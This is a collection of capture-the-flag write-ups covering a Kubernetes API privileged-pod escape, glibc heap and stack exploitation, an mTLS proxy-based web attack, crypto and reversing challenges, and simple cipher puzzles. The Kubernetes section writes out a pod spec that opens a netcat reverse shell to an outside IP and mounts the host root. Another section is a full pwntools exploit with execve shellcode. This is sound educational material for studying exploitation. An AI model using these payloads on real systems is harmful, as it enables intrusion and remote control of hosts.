(...) "containers": [ { "name": "kube-apiserver", "image": "k8s.gcr.io/kube-apiserver:v1.21.2", "command": [ "kube-apiserver", "--advertise-address=10.129.172.188", "--allow-privileged=true", "--anonymous-auth=true", "--authorization-mode=Node,RBAC", "--client-ca-file=/var/lib/minikube/certs/ca.crt", "--enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,MutatingAdmissionWebhook,ValidatingAdmissionWebhook,ResourceQuota", "--enable-bootstrap-token-auth=true", "--etcd-cafile=/var/lib/minikube/certs/etcd/ca.crt", "--etcd-certfile=/var/lib/minikube/certs/apiserver-etcd-client.crt", "--etcd-keyfile=/var/lib/minikube/certs/apiserver-etcd-client.key", "--etcd-servers=https://127.0.0.1:2379", "--insecure-port=0", "--kubelet-client-certificate=/var/lib/minikube/certs/apiserver-kubelet-client.crt", "--kubelet-client-key=/var/lib/minikube/certs/apiserver-kubelet-client.key", "--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname", "--proxy-client-cert-file=/var/lib/minikube/certs/front-proxy-client.crt", "--proxy-client-key-file=/var/lib/minikube/certs/front-proxy-client.key", "--requestheader-allowed-names=front-proxy-client", "--requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt", "--requestheader-extra-headers-prefix=X-Remote-Extra-", "--requestheader-group-headers=X-Remote-Group", "--requestheader-username-headers=X-Remote-User", "--secure-port=8443", "--service-account-issuer=https://kubernetes.default.svc.cluster.local", "--service-account-key-file=/var/lib/minikube/certs/sa.pub", "--service-account-signing-key-file=/var/lib/minikube/certs/sa.key", "--service-cluster-ip-range=10.96.0.0/12", "--tls-cert-file=/var/lib/minikube/certs/apiserver.crt", "--tls-private-key-file=/var/lib/minikube/certs/apiserver.key" ], "resources": { "requests": { "cpu": "250m" } }, (...)```
# Pod deployment exploit
A lot of exploit methods exists. Maybe there are others than the one I tried for this challenge.
I try to deploy a new pod in the namespace with system privileges.
The encountered problem is that the cluster does not seems to have access to every Docker registry (Kind of restricted Minikube registry but smaller ?).So I reuse a known image I could easily exploit: I see an `alpine` image in the pods list and it could be a great beginning:
```json"image": "alpine:latest","imageID": "docker-pullable://alpine@sha256:234cb88d3020898631af0ccbbcca9a66ae7306ecd30c9720690858c1b007d2a0","containerID": "docker://c80ad77181ccd49c64c177eef8c459e6c4b27fc5ff06f74ce4ffb22540cb2823",```
I build a malicious pod configuration:
```json{ "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "malicious" }, "spec": { "containers": [{ "name": "malicious-container", "image": "alpine@sha256:234cb88d3020898631af0ccbbcca9a66ae7306ecd30c9720690858c1b007d2a0", "command": ["sh"], "args": ["-c", "nc 10.10.14.192 4444 -e /bin/sh"], "securityContext": { "privileged": true }, "serviceAccountName": "default", "automountServiceAccountToken": true, "hostNetwork": true }], "volumes": [{ "name":"noderoot", "hostpath":"/" }] }}```
In this one:
- `privileged: true`: add all capabilities, included the system caps to interact with the host system.- `volumes` section: mount the `/` host system.- `args`: execute `nc` on load to open a reverse shell. NB: `nc` is installed by default in `alpine` images!
So, first on my computer: `nc -nlvp 4444`.
Then, run the deployment:
```bashcurl -k \ -X POST \ -H 'Accept: application/json' \ https://10.129.172.188:8443/api/v1/namespaces/kube-system/pods/ \ --data-binary "@/path/to/malicious-pod.json" ```
And we got a shell!
Fine, now we can just navigate in the mounted host filesystem from the container and search for the flag file (I do not have kept the flag so I cannot publish it it anymore). Done! |
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# IntroThis years redpwn started on the 9th of july, and ran through from 8PM BST till 8PM on the 12th. This was really fun, and I really praise the organisers for creating the superbinfrastructure and challenges that allowed me (and my [team-mates](https://ctftime.org/team/157675) or [here](https://ctftime.org/team/120331)) to toil away on these challenges. Cheers guys :).
This will be the first of (probably) a series of writeups for challenges in the pwn category of redpwnCTF 2021, disregarding the challenges I didn't solve.
## Description
This challenge specifically was extremely difficult (for me). The vulnerability as you will see is very obvious. However exploitation is another matter that requires knowledge of some heap internals, and alot of guesswork on my part. With that out of the way, lets begin.
(The solution script is at the bottom as well as in the github folder, I forgot that in my last writeup.)
# Setup
So whats up?
Well first things first, were provided with a libc and a linker. If we want to correctly emulate the challenge environment, we need to patch these into the program. You cando that like so:
```shpatchelf ./simultaneity --set-interpreter ./ld-linux-x86-64.so.2 --replace-needed libc.so.6 ./libc.so.6 --output simultaneity1```Now you should have `simultaneity1` which has the correct libc + linker. Something else to note is that the libc is stripped. There are quite a few ways to 'unstrip' a libc but I chose to download the debug symbols and simply use them with my gdb. To do this you can download the debug symbols that match the libc (you can get version info from a libc by running it), then extract them in the currentdirectory:
```shwget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc6-dbg_2.28-10_amd64.debmkdir dbg; dpkg -x libc6-dbg_2.28-10_amd64.deb ./dbg/```Now whenever you want to use these symbols in gdb, simply type: `set debug-file-directory dbg/usr/lib/debug/` and you should (fingers crossed) have working symbols.Now we should be all set to take a look at the binary.
# The program
Its pretty simple:
The program asks `how big?` and we can provide a size, it then spits out what looks like a `main_arena` heap address (from a heap that is aligned with the data segment). It thenasks `how far?` and `what?`. It seems that the program is straight up giving us a thinly veiled write-what-where primitive, nice.
If we look at the decompiled code for `main()` we can confirm this:
(ignore my mutterings at the bottom lol)The program takes a `size` which is then passed to `malloc(size)` so we can control the size of an allocation. Then the program leaks the address of said allocation back to us. We can then specify another `size`/index that will then be multiplied by 8, then it will be added to the address of our allocation `(long)alloc + size * 8)`. We then use the result of this addition and write into it an `unsigned int`/`size_t`.
Another cool thing about this (other than being given an extremely powerful exploit primitive) is that because the `how far?` part of the program takes a regular integer via `__isoc99_scanf("%ld", &size)` we can have a negative `size`/index. This, in turn means that we can not only write anywhere after our allocation, but also before.
# Approaches
Now i'll talk about the approach I tried initially. My first thought was, could we overwrite some interesting stuff on the heap? Maybe one of functions left something there?However further inspection on the heap revealed that its just a barren wasteland.
```pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x55555555a000Size: 0x251 <------------------+ |Allocated chunk | PREV_INUSE +------------ Metadata :yawn:Addr: 0x55555555a250Size: 0x411 <------------------ scanf()'s allocation to store our input in full Allocated chunk | PREV_INUSE +------------ Our allocationAddr: 0x55555555a660 |Size: 0x21 <-------------------+
Top chunk | PREV_INUSEAddr: 0x55555555a680Size: 0x20981
```
Nothing interesting here, and nothing that could be easily exploited; i thought perhaps through some manipulation of the `top` we could allocate a chunk, perhaps with `scanf` (yes, `scanf` does this) somewhere it isn't meant to be? As it turns out, `scanf` will allocate the temporary buffer before it recieves our input+writes it, so sadly there isno meddling we can do here, as no further allocations are made/free'd. Although under certain circumstances `scanf()` will `free()` the temporary buffer, so perhaps some opportunity exists there? I didn't think about this too much, though.
I was quickly drawn to another idea. Whats in the `.bss` atm?
Not much, as you can see (and definitely nothing useful). My idea here was to overwrite some stuff and see what happened, did changing any of this stuff have any impact?Sadly no. I was quite confident that modifying the `stdout@GLIBC` would have some effect, as the `FILE` struct is pretty complicated. But it was to no avail.
So we have a seemingly hopeless situation where we have very little, if any opportunity to overwrite anything; we have a (basically useless) `.text`/heap leak and no (reliable)way to overwrite anything meaningful.
It was at this point where I became stuck for quite a while, and moved on to `image-identifier`. Only after finishing that and coming back did I realise what I had missed, onthe last day of the CTF.
# Gaining a (rather strong) foothold
I highlighted the important part. I neglected to fully consider the ability we have when controlling the size of an allocation. If we wanted, we could make `malloc()` fail and return a null pointer, but more importantly if an allocation is larger than the `top` chunk (aka, does not fit in the current heap) `malloc()` will use `mmap()` to allocatesome memory that fits the size of said allocation (if it can provide enough memory, that is).
If we, for example allocate a chunk that is 1 larger that `top` (0x209a1+1) then we should be able to force `malloc()` to make our heap elsewhere. And sure enough:
Yep, the entire allocation has moved elsewhere. But where exactly?
Our allocation is between the main heap and libc (`0x7ffff7deb000-0x7ffff7e0c000`). The most important aspect of this is that there is no flux/influence of ASLR between our heapand all of libc. This means:
- Since our heap is at a constant offset from libc, so is our leaked allocation address. We now have an easy way to get the base, and therefore the rest of libc. - As stated in the above, our allocation is at a constant offset from libc, this means that we may use our primitive to write INTO libc, anywhere we want.
Now that we have easy access to libc, we need a place to write. I tried a couple things here; none of which worked, however overwriting `__free_hook` did.
`__free_hook` is a global function pointer in libc that when NULL does nothing however when populated with any values, upon `free()` it will detect that the pointer is not NULL and instead jump to it. This makes it ideal, as `free()`, and therefore `__free_hook` are used alot more than you would expect, and so there are alot of opportunities for RCE with this value. Hooks like this also exist for `malloc()` and `realloc()` functions, making it an extremely easy way to execute a one-gadget in a pinch.
We can work out the difference of `__free_hook` from our allocation, then divide that by 8, ensuring that when it eventually gets multiplied by 8 in our `scanf("%zu",(void *)((long)alloc + size * 8)))` we still come out with the same value:
We can then do a test run in gdb to make sure we are in fact writing to the correct location
And sure enough, yes.
We can see that we do write to `__free_hook`. However on entering a random value you'll notice that we do not SEGFAULT before the `_exit()`
This can mean only one thing; our input is never allocated / is never `free()`'d
# Some scanf stuff
Since `scanf()` takes no `length` field, for all user input, even the stuff it doesnt care about (wrong format, wrong type, etc...) it has to take + store somehow. To do thisit uses a 'scratch'-buffer. This is a buffer that will store ALL the input from `scanf()`. This starts as a stack buffer, however will fallback to being a heap buffer if this stack buffer threatens to overflow:
```c/* Scratch buffers with a default stack allocation and fallback to heap allocation. [---snipped---]```[here](https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/include/scratch_buffer.h#L22)
This heap buffer is re-used whenever another call to `scanf()` comes via rewinding the buffer position back to the start, such that the space can be re-used:
```c/* Reinitializes BUFFER->current and BUFFER->end to cover the entire scratch buffer. */static inline voidchar_buffer_rewind (struct char_buffer *buffer){ buffer->current = char_buffer_start (buffer); buffer->end = buffer->current + buffer->scratch.length / sizeof (CHAR_T);}```[here](https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L216) and [here](https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L483)
Whenever we want to add to this buffer, we need to call `char_buffer_add()`. This does a couple things. 1st it checks if we currently positioned at the end of our buffer, and if so it will take a 'slow' path. Otherwise it just adds a single character to the scratch buffer and moves on:
```cstatic inline voidchar_buffer_add (struct char_buffer *buffer, CHAR_T ch){ if (__glibc_unlikely (buffer->current == buffer->end)) char_buffer_add_slow (buffer, ch); else *buffer->current++ = ch;}```[here](https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L256)
As you would expect, the slow path is for when we run out of space in our stack buffer, (or our heap buffer) and will move our input in its entirety to the heap when the conditions are right
```c/* Slow path for char_buffer_add. */static voidchar_buffer_add_slow (struct char_buffer *buffer, CHAR_T ch){ if (char_buffer_error (buffer)) return; size_t offset = buffer->end - (CHAR_T *) buffer->scratch.data; if (!scratch_buffer_grow_preserve (&buffer->scratch)) // <--------- important part is here { buffer->current = NULL; buffer->end = NULL; return; } char_buffer_rewind (buffer); buffer->current += offset; *buffer->current++ = ch;}```
If we delve a bit deeper we can actually find where exactly this allocation happens:
```cbool__libc_scratch_buffer_grow_preserve (struct scratch_buffer *buffer){ size_t new_length = 2 * buffer->length; void *new_ptr;
if (buffer->data == buffer->__space.__c) // If we are currently using the __space.__c buffer (stack buffer). This is the default for all inputs, initially. { /* Move buffer to the heap. No overflow is possible because buffer->length describes a small buffer on the stack. */ new_ptr = malloc (new_length); if (new_ptr == NULL) return false; memcpy (new_ptr, buffer->__space.__c, buffer->length); // heres the 'move'// [---snipped---] /* Install new heap-based buffer. */ buffer->data = new_ptr; buffer->length = new_length; return true;```
`buffer->data` is where we write into the scratch buffer - at least the origin, anyway.
From this we can understand that if we provide enough input - enough that we can progress the `buffer->current` to the `buffer->end` of the current buffer , we can trigger a new allocation with `malloc()`. This has some caveats though; if `scanf()` expects a number (like with our `__isoc99_scanf("%zu...`) it will only progress the `buffer->current` if it recieves a digit. You can read the source here [here](https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L1396).
One thing I want to draw your attention to though, is this:
```c while (1) {// [---snipped---] if (ISDIGIT (c)) { char_buffer_add (&charbuf, c); got_digit = 1; }// [---snipped---]```
What we have here, is what I assume to be the loop that goes through the values of each number, after the format string has been interpreted (but you can never be sure with libc code). As you can see, if our character is a digit, we add it to the buffer. Cool.
Now armed with this (somewhat useless) knowledge, we can go back and try writing to `__free_hook` again, but this time with at least 1024 bytes of digits in our bufferin order to allocate a chunk that will be free'd on exiting `scanf()` (via `scratch_buffer_free()`) And sure enough if we spam '0's, we can call `free()` on our allocation and thus trigger `__free_hook`:
Now when we test in gdb:
Boom.
Its worth noting that using any digit other than '0' will (stating the obvious a bit here) cause the value to wrap around and become `0xffffffffffffffff`. But leadingwith '0's ensures that the value written is not changed (I got confused with this for a while lol).
# Exploitation
Now that we have an RIP overwrite with a value we completely control AND a libc leak, the next logical step was finding an applicable `one_gadget` we can use. Running`one_gadget` on our libc provides 3 results. The one that works is:
```0x448a3 execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL```
Now with that out of the way, things should be pretty EZ. Exploit is in the folder.HTP.
|
# picoCTF keygenme-py Write Up
## Details:Points: 30
Jeopardy style CTF
Category: Reverse Engineering
## Write up:
Looking at the top of the python file we see:
```pythonusername_trial = "PRITCHARD"bUsername_trial = b"PRITCHARD"
key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"key_part_dynamic1_trial = "xxxxxxxx"key_part_static2_trial = "}"```
Looking through the file a bit more we trace the path from accepting the key till a function that seems to try to decrypt the key:
```pythondef check_key(key, username_trial):
global key_full_template_trial
if len(key) != len(key_full_template_trial): return False else: # Check static base key part --v i = 0 for c in key_part_static1_trial: if key[i] != c: return False
i += 1
# TODO : test performance on toolbox container # Check dynamic part --v if key[i] != hashlib.sha256(username_trial).hexdigest()[4]: return False else: i += 1
if key[i] != hashlib.sha256(username_trial).hexdigest()[5]: return False else: i += 1
if key[i] != hashlib.sha256(username_trial).hexdigest()[3]: return False else: i += 1
if key[i] != hashlib.sha256(username_trial).hexdigest()[6]: return False else: i += 1
if key[i] != hashlib.sha256(username_trial).hexdigest()[2]: return False else: i += 1
if key[i] != hashlib.sha256(username_trial).hexdigest()[7]: return False else: i += 1
if key[i] != hashlib.sha256(username_trial).hexdigest()[1]: return False else: i += 1
if key[i] != hashlib.sha256(username_trial).hexdigest()[8]: return False
return True```
From here I wrote a little script to decrypt the missing characters from the flag:
```python# import hashlibimport hashlib
# usernameusername_trial = "PRITCHARD"
# known flagflag = "picoCTF{1n_7h3_|<3y_of_"
# decrypt flagflag += hashlib.sha256(username_trial.encode()).hexdigest()[4]flag += hashlib.sha256(username_trial.encode()).hexdigest()[5]flag += hashlib.sha256(username_trial.encode()).hexdigest()[3]flag += hashlib.sha256(username_trial.encode()).hexdigest()[6]flag += hashlib.sha256(username_trial.encode()).hexdigest()[2]flag += hashlib.sha256(username_trial.encode()).hexdigest()[7]flag += hashlib.sha256(username_trial.encode()).hexdigest()[1]flag += hashlib.sha256(username_trial.encode()).hexdigest()[8]
flag += '}'
# print flagprint(flag)```
Once run we get:
```picoCTF{1n_7h3_|<3y_of_54ef6292}``` |
```python# zer0pts CTF 2021 - Not Beginner's Stack# Exploit strategy:# 1. We use the 'vuln' stack-overflow in order to overwrite saved-rbp.# 2. We set saved-rbp so the read in the 'notvuln' function will let# us control the shadow-stack depth and contents.# We use the shadow-stack to return to 'notvuln', and make it return# to the address of the RWX region (in address 0x00600000) upon finishing# execution.# 3. We use the second execution of 'notvuln' in order to fill the RWX# region with our own shellcode.# 4. Upon return of the (second) 'notvuln' into the RWX region - our shellcode# will be executed.from pwn import *
# p = process("./chall")# gdb.attach(p)p = remote("pwn.ctf.zer0pts.com", 9011)
STACK_DEPTH_ADDR = 0x000000000060022eRWX_REGION = 0x00600000LEAVE_GADGET = 0x4001d4NOTVULN_ADDR = 0x00000000004000ebEXECVE_BIN_SH_SHELLCODE = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
## Stage 1 - control shadow stack# Overwrite saved-rbp in "vuln" functionp.recvuntil(b"Data: ")p.send(0x100 * b"a" + p64(STACK_DEPTH_ADDR + 0x100))
# We overwrite the SS-depth and the SS itself# We will resume execution to "notvuln" function, and upon return - it will# return to the RWX region addresswanted_depth = 2wanted_stack = 2 * b"a" + p64(RWX_REGION) + p64(NOTVULN_ADDR)p.recvuntil(b"Data: ")p.send(p32(wanted_depth) + wanted_stack)
## Stage 2 - fill RWX region# Overwrite saved-rbp again - now with RWX_REGION addressp.recvuntil(b"Data: ")p.send(0x100 * b"a" + p64(RWX_REGION + 0x100))# Send shellcode to this area (just execve("/bin/sh") x64 shellcode)p.recvuntil(b"Data: ")p.send(EXECVE_BIN_SH_SHELLCODE)
p.interactive()``` |
# EMPTY LS
The challenge revolves around two domains, one is `https://www.zone443.dev`, a website to register accounts and custom sub-domains, and `https://admin.zone443.dev`, an "admin portal" and supposedly where we should get the flag.
The credential authentication for this website is unusual because it did not use the traditional username/password or cookies, but instead a process called *mTLS*, which stands for Mutual TLS. Basically what that means is when connecting to a server, the client also present a certificate that can achieve two things:
1. Validate the identity of the client, and2. Use the certificate to encrypt the communication.
Unlike cookies or password, it is quite hard to steal the identity of the client using mTLS, because the private key is kept safe and the only way to get it is to somehow take control over the client's machine. However, the client's using the latest headless Chrome, so no more Chrome 0-days for us. Also there might be some vulnerabilities in the mTLS implementation, but since this is a `web` challenge not a `crypto` one, that possibility is also highly unlikely.
## Observations
A few important observations are made:
- `https://admin.zone443.dev` is behind a server that doesn't validate Server Name Indication in TLS Client Hello and `Host` field in HTTP request, it only uses the client certificate for application-level credential purpose;- `https://admin.zone443.dev` is using a wildcard certificate with Subject Alternative Name including host `*.zone443.dev`; - We have total control over the sub-domain we applied for, including applying for a valid TLS certificate; and- By filling out sub-domain address into the feedback form, a headless Chrome will request our sub-domain with the admin's certificate.
Combining 1 and 2, we realized that **any** TLS requests will be accepted by the server. And using 3 and 4, it is possible to obtain a copy of admin's TLS handshake and the following communication.
There are some other hints that the challenge gives, which is when you try to access `admin.zone443.dev` with your own client certificate that you applied for, a message will tell you that you are not authorized. Therefore, it must be that only when we access the website with the admin's client cert, we shall get the flag.
There is clearly some Man-in-the-Middle attack going on. A replay attack won't work as the TLS's cipher key is generated randomly each time. However, notice that the website is accessed using a headless Chrome, meaning that it should also be executing anything ranging from `iframe` to `script` on our controlled sub-domain.
## Exploit
Embedding a JavaScript that fetches the content of `admin.zone443.dev` on our controlled site using admin's cert seems to be a good idea, but it is impossible to steal the content because of the Cross-Origin Resource Sharing policy. However, CORS enforces this by checking the domain name on the client site, is there a way to circumvent this protection?
This is a scenario that is very like DNS rebinding, where we have to trick the client into thinking it's accessing the same domain name, so no CORS in effect, but in fact it's using its credentials on another website.
Notice that we have control over the entire sub-domain, and that the `admin.` site doesn't validate SNI nor Host, meaning we can **set up a proxy in the back-end that redirects anything sent from the client to `admin.zone443.dev:443` and back**. Although we aren't able to intercept anything of the actual communication because of TLS encryption, we can **acquire the content in the front-end** and send the data back to ourselves.
That means we can first make the admin access our controlled sub-domain `https://xxx.zone443.dev/`, so that it will execute a JavaScript payload on our website. The payload looks something like this:
```javascriptfetch(new Request('/')).then(resp => resp.text()).then(body => return fetch(new Request('/', { method: "POST", body: body, }));});```
This script will try to fetch the content on the **same** domain name `https://xxx.zone443.dev/`, but as we set up a proxy already, the request is actually sent over to `admin.zone443.dev:443` and back. Then the acquired content will be send again back to our server via a `POST` request, where we will be able to see what the content on the `admin.` is like to the admin's side.
In the actual payload, we can keep track of the TCP requests made, so on the first and third request, we use our own TLS cert and server to handle the request, but on the second request, we will redirect the address to `admin.` so that the content can be stolen. Notice that this is not as time-sensitive as a normal DNS rebinding would be, as there is no "caching" mechanism for TLS connections. Although a potential HTTP2 Multiplexing might be affecting the result, I didn't really encounter that in my exploit, and it can be easily mitigated by closing the connection on the server side.
The exploit is easy to write with the help of Go's built-in `tls` and `http` packages.
The exploit is over here [EMPTY LS, Google CTF 2021](https://gist.github.com/superfashi/5ad6d7ea91357611fb7b2fb64138fc43). It is not host dependent, so you can simply run it without changing anything (other than to put X.509 cert/key pair in the right place). |
## Summary
Bitflip #1
Select byte to ionize (0-404): 366
Select bit to ionize (0-7): 0
Bitflip #2
Select byte to ionize (0-404): 368
Select bit to ionize (0-7): 1
Bitflip #3
Select byte to ionize (0-404): 366
Select bit to ionize (0-7): 1
SECDED: single error corrected (data)
Temp: 14.99C Activating heater
Temp: 35.01C Deactivating heater
Temp: 35.07C Deactivating heater
Temp: 35.14C Deactivating heater
Temp: 35.20C Deactivating heater ... Temp: 70.04C Deactivating heater The spacecraft exceeded its operating temperature! You got it!
## Flag
```flag{mike29951tango2:___a bunch of unguessable stuff___}```
## Detailed solution
For our program to not deactivate the heater when reaching 35C we would want the second return statement to return a positive value. At a first attempt we observe that SECDED is preasent for correcting data.
We would ideally modify the binary to something like :
```# Temper�ature Se�nsor# IRf temper�ature ab�ove/belopw threshKold, dea]ctivate/[activate� heaterTimport sPys
def +readTemp=(temp,st�ate): � if temBp < 15 a�nd not s~tate: � prFint("Tem�p: %.2fC� Activatying heather"%tempL) � return� 1 e�lif temp4 > 35 anid state:M � print("dTemp: %.v2fC Deac�tivating� heater"�%temp) � r@eturn (something != 0)� else�: ? return� state
�```
The codeword is stored each 8 bytes. Since the value of the return statement is stored at byte 366 and the codeword at byte 368, we flip the bit at index 1 from byte 368 to not have our change detected and corrected. |
When you type "scissor decode" on your browser you find Ceasar decode. https://www.dcode.fr/caesar-cipher With this website you can decode it.
If you liked this writeup do not hesite to star our repo https://github.com/PoCInnovation/ReblochonWriteups |
# Write Up for BowShock
Checkout the original writeup with relevant image attached
## Task 1 - BowShock
1. Download [jd-gui](http://java-decompiler.github.io) which is one of the best Java decompiler for beginners.2. By opening/decompiling the JAR file with jd-gui, it allows us to view the source code of the given JAR file easily, and our target is the only `BowShock.class`3. Referring to the `main` method, it shows the requirement of int input with value 333, 942 and 142, in strict ordering to survive the BowShock game4. Since `int totalInput = 333 + 942 + 42 = 1417`, thus we can get the final flag even without running the JAR file. Otherwise, we can also run this JAR program with command `java -jar <JAR_FULL_FILENAME>`, and enter those 3 integers in the correct order.
## Flag
- CTF{bowsh0ckd_1417} |
# Writeup for UFOriaCheckout the original writeup with relevant images included for more details
## Task 1 - Invite only (75 points)
Can you get a valid invite code? The flag is the invite code.
### Write Up
Given the website URL (randomly generated), the navigation of webpages are controlled by the parameter `page` :
```text|- /?page=landing (homepage)|- /?page=about (description about UFOira Aerospace)|- /?page=members (login form to access member-only page)|- /?page=forgot (POST form to retrieve existing user's password)|- /?page=karaoke (HTTP error code 500)```
1. To find out the correct invitation code for the input box, we first look into the source code of this homepage (ie. `/?page=landing`)2. We can find out that the invitation code is validated by an in-file JS function (look for `<script>` tag) called `contactus()`3. Reverse engineering the `contactus()` JS function to get the invitation code (Testing the understanding of JavaScript basic built-in function)
```text Requirements :
- length = 12 characters - Separated into 3 ordered parts, that is concatenated with character '-' - 1st part : "UFO" - 2nd part : btoa("UFO") = "VUZP" - 3rd part : "UFO".charCodeAt(0) + "UFO".charCodeAt(1) + "UFO".charCodeAt(2) = "234"
-> 1st flag : UFO-VUZP-234 ```
## Task 2 - Members only
Can you access the members-only area?
### Write Up
1. To access the __member-only__ section, we have to pass through the authentication on page `/?page=members`, but since we don't know the credential, we start the testing on page `/?page=forgot` which requires only the username. It allows us to verify if the username exists in the database2. To find the possible username, we start the searching on the page `/?page=about` which consist 2 possible candidates, Ben Organa and Elliot Talton,and also a bracket `borgana`. It turns out to be one of the existing username in the database, and now we need to find the answer of the security question -> borgana's birthplace3. Since we know borgana has the same birthplace as Elliot Talton in the `about` page, thus by using Google and LinkedIn searches, we can confirm that all the employees in UFOria Aerospace are :
- Ben Organa (aka borgana), CEO - Elliot Talton , Co-founder <https://www.linkedin.com/in/elliot-talton/> - Mark Reddy, Sales Attendant <https://www.linkedin.com/in/mark-reddy-9a61a220a/> - Mary Smith, Student <https://www.linkedin.com/in/mary-smith-022787216/detail/recent-activity/>
**Note** : It requires the tester to signing their LinkedIn account, in order to view the profile right away with those URLs
4. There are 2 posts on Elliot's LinkedIn account, which the latest post shows a hint regarding their childhood memories in somewhere called `'s Lands Huys Cafe`, and the location of this place hould be helpful to find out their birth place.5. By searching with Google, we can see that this cafe is located in Bourtange, Netherland. Thus, `Bourtange` should be the correct answer for the security question.6. The password for account `borgana` should be able to be retrieved after input the answer for the security password, hence now you should be able to access `member-only` page with this set of credential, and the last flag will be returned after login successfully.
## Flags
1. UFO-VUZP-2342. CTF{fataborgana42} |
The challenge involves decrypting a flag encrypted with aes-cbc with an "almost known key" (we get the key except for the last 2 bytes) but an unknown IV.We are able to receive the encrypted flag from the server and also get the key (except for the last 2 bytes) and to ask the server to encrypt 32 bytes of data - and in response get back 20 bytes of the encrypted chosen plaintext - the rest have of the nibbles are shown as *.### Getting the key&ivTo decrypt the encrypted flag - we are missing 2 bytes of the key and the entire iv. attempting all possible keys is easy (there are only 2^16 options).To get the IV - we need to get creative and abuse the usage of CBC here - a remainder of how cbc encryption worksHow do we abuse this to get the iv? we use the fact the plaintext is xored with the IV before the AES encryption takes place, send 32 bytes of '\0' to the server - which will cause something very nice to happen - We will basically get the IV encrypted twice using normal AES-ECB as the second block of the encryption - which is important, because in the responses the server only returns a part of the first block - but sometimes the entire second block (so lets request an encrytion multiple times until we have an entire second block.So for each key guess - we try to decrypt the `twice_encrypted_iv` and get an iv guess - again there are only 2^16 options - so bruteforcing is trivial.For each key&IV pair - try to decrypt the flag, and break on the first plaintext that contains only printable characters.After running the script we get `CTF{h0W_R3cOVER_7He_5eCrET_1V?}'`### Script```python#!/usr/bin/env python3
from pwnlib.tubes.remote import remotefrom Crypto.Cipher import AESimport stringfrom tqdm import tqdmfrom time import sleepfrom codecs import decode
r = remote("01.cr.yp.toc.tf", 17010)r.recvuntil(b"uit\n")r.sendline(b'G')r.recvuntil(b'encrypt(flag) = ')flag = r.recvline().strip()flag = decode(flag, 'hex')assert len(flag) == 32
def send_test(plain): assert len(plain) == 32 and isinstance(plain, bytes) r.sendline(b'T') r.sendline(plain) r.recvuntil(b'enc = ') enc = r.readline() r.recvuntil(b'key = ') key = r.readline() return enc, key
while True: print("Trying to get enciv and key") enciv, key = send_test(b'\x00' * 32) if enciv.startswith(b'*'): break print(f"Got bad {enciv} {key}") sleep(1)
enciv, key = enciv.strip(), key.strip()print(f"Got good {enciv} {key}")enciv = decode(enciv[-32:], "hex")assert len(enciv) == 16key = decode(key.rstrip(b'*'), "hex")assert len(key) == 14
def decrypttry(aeskey, enc_iv): aes = AES.new(aeskey, AES.MODE_ECB) dec1 = aes.decrypt(aes.decrypt(enc_iv)) return dec1
print("Trying to get the iv")possibleiv = []for x in tqdm(range(0, 2**16)): a,b = x >> 8, x & 0xff keytry = key + bytes([a,b]) possibleiv.append((keytry, decrypttry(keytry, enciv)))
print("Got all key and iv combinations") for key, iv in tqdm(possibleiv): aes = AES.new(key, AES.MODE_CBC, iv) dec = aes.decrypt(flag) if all(chr(x) in string.printable for x in dec): print(dec) break
``` |
# Space Snack
## Write Up
### Task 1 - Roten to the core (20 points)
You find a roten apple next to a piece of paper with 13 circles on and some text. What's the message?
__Given__ :
```textVg nccrnef lbh unq jung vg gnxrf gb fbyir gur svefg pyhrJryy Qbar fcnpr pnqrgpgs{Lbh_sbhaq_gur_ebg}Npprff pbqr cneg 1: QO ```
__Decoded__ (ROT13) :
```textIt appears you had what it takes to solve the first clueWell Done space cadetctf{You_found_the_rot}Access code part 1: DB```
### Task 2 - The roman space empire (25 points)
You find a page with a roman insignia at the top with some text what could it mean?
__Given__ :
```textJhlzhy ulcly dhz clyf nvvk ha opkpun tlzzhnlz.jam{Aol_vul_aybl_zhshk}jvkl whya: NW```
__Decoded__ (Caesar Cipher, rotation=7) :
```textCaesar never was very good at hiding messages.ctf{The_one_true_salad}code part: GP```
__NOTE__ : Caesar the 1st roman empiral is the reason of this cipher naming, since he used it in his personal correspondance
### Task 3 - The space station that rocked (25 points)
You hear the heavy base line of 64 speakers from the next compartment. you walk in and the song changes to writing's on the wall, there is some strange code painted on the wall what could it mean?
__Given__ :
```textRXZlbiAgaW4gc3BhY2Ugd2UgbGlrZSB0aGUgYnV0dGVyeSBiaXNjdXQgYmFzZS4gY3Rme0lfbGlrZV90aGVfYnV0dGVyeV9iaXNjdWl0X2Jhc2V9IC4gQWNjZXNzIHBhcnQgMzogWEQ=```
__Decoded__ (Base64) :
```textEven in space we like the buttery biscut base. ctf{I_like_the_buttery_biscuit_base} . Access part 3: XD```
### Task 4 - What the beep is that? (25 points)
You hear beeps on the radio, maybe someone is trying to communicate? Flag format: CTF:XXXXXX
__Given__ :
```text.. -. ... .--. . -.-. - --- .-. / -- --- .-. ... . / .-- --- ..- .-.. -.. / -... . / .--. .-. --- ..- -.. / --- ..-. / -.-- --- ..- .-. / . ..-. ..-. --- .-. - ... .-.-.- / -.-. - ..-. ---... ... .--. .- -.-. . -.. .- ... .... ..--- ----- ..--- .---- / .- -.-. -.-. . ... ... / -.-. --- -.. . ---... / .--- --...```
__Decoded__ (Morse Code) :
```textINSPECTORMORSEWOULDBEPROUDOFYOUREFFORTS.CTF:SPACEDASH2021ACCESSCODE:J7```
### Task 5 - The container docker (25 points)
You are now in the space cafe, the cake is in the container that should not be here. You can see random names on all the containers. What will Docker never name a container? Note: Please enter it as ctf{full_name}
__Answer__
